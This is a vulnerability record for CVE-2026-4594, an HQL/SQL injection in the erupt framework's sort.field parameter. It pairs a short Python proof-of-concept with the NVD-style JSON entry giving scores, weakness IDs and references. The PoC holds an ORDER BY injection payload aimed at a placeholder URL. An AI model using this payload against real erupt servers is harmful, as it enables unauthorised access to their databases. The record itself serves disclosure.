CVE-2026-4594

import requests # PoC for CVE-2026-4594: SQL Injection in erupt framework # Targeting the 'sort.field' parameter in EruptJpaUtils.java target_url = "http://vulnerable-target/api/erupt/data" # Malicious payload intended for HQL injection in ORDER BY clause # Adjust payload based on specific database syntax (H2, MySQL, etc.) payload = "id,(select case when (1=1) then 1 else (select 1 from (select 1)x) end)" params = { "sort[0].field": payload, "sort[0].order": "asc" } try: response = requests.get(target_url, params=params) if response.status_code == 200: print("[+] Request sent successfully. Check for time delays or error messages indicating injection.") print(response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-4594", "sourceIdentifier": "[email protected]", "published": "2026-03-23T18:16:26.937", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in erupts erupt up to 1.13.3. Affected by this issue is the function geneEruptHqlOrderBy of the file erupt-data/erupt-jpa/src/main/java/xyz/erupt/jpa/dao/EruptJpaUtils.java. Such manipulation of the argument sort.field leads to sql injection hibernate. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Una vulnerabilidad ha sido encontrada en erupts erupt hasta la versión 1.13.3. Afectada por este problema es la función geneEruptHqlOrderBy del archivo erupt-data/erupt-jpa/src/main/java/xyz/erupt/jpa/dao/EruptJpaUtils.java. Tal manipulación del argumento sort.field lleva a inyección SQL hibernate. Es posible lanzar el ataque de forma remota. El exploit ha sido revelado al público y puede ser utilizado. El proveedor fue contactado con antelación sobre esta revelación pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}, {"lang": "en", "value": "CWE-564"}]}], "references": [{"url": "https://fx4tqqfvdw4.feishu.cn/docx/ETWUdbPk1oCC56xoEWHc3Q28nEc?from=from_copylink", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.352431", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352431", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.775594", "source": "[email protected]"}]}}